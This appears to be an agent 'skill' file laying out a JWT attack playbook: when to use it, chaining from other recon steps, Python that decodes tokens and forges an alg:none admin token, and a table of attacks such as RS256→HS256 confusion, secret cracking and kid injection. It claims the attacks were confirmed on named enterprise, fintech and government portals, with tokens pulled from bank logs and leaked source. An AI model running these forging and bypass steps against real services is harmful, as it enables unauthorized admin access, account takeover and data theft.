jwt-attack

JWT Attack Skill

Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source).

When to Use

• API uses Authorization: Bearer eyJ... headers.
• JavaScript bundles contain eyJ... token patterns.
• After js-secrets-extraction finds JWT tokens.
• After api-noauth-hunt needs token forging for auth bypass.
• Cookies contain jwt=, token=, or session= with base64-encoded values.

Prerequisites

• terminal with curl, python3.
• JWT token to attack (from recon).
• For brute force: hashcat or john for high-speed cracking (optional).

How to Run

# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
    for i, part in enumerate(parts[:2]):
        try:
            padded = part + '=' * (4 - len(part) % 4)
            decoded = base64.urlsafe_b64decode(padded)
            print(f'--- Part {i} ---')
            print(json.dumps(json.loads(decoded), indent=2))
        except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"

# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"

Quick Reference

Attack	Prerequisites	Impact	Difficulty
alg:none	Server accepts alg: "none"	Full admin access	Easy
RS256→HS256	JWT signed with RS256	Full admin access	Medium (need public key)
Weak HMAC secret	HS256 with weak secret	Full admin access	Medium (need to crack)
kid injection	Server trusts kid header	RCE/LFI	Hard
Expired token reuse	Server doesn't validate exp	Session persistence	Trivial
Hardcoded JWT	JWT found in JS/source	Whatever the JWT grants	Trivial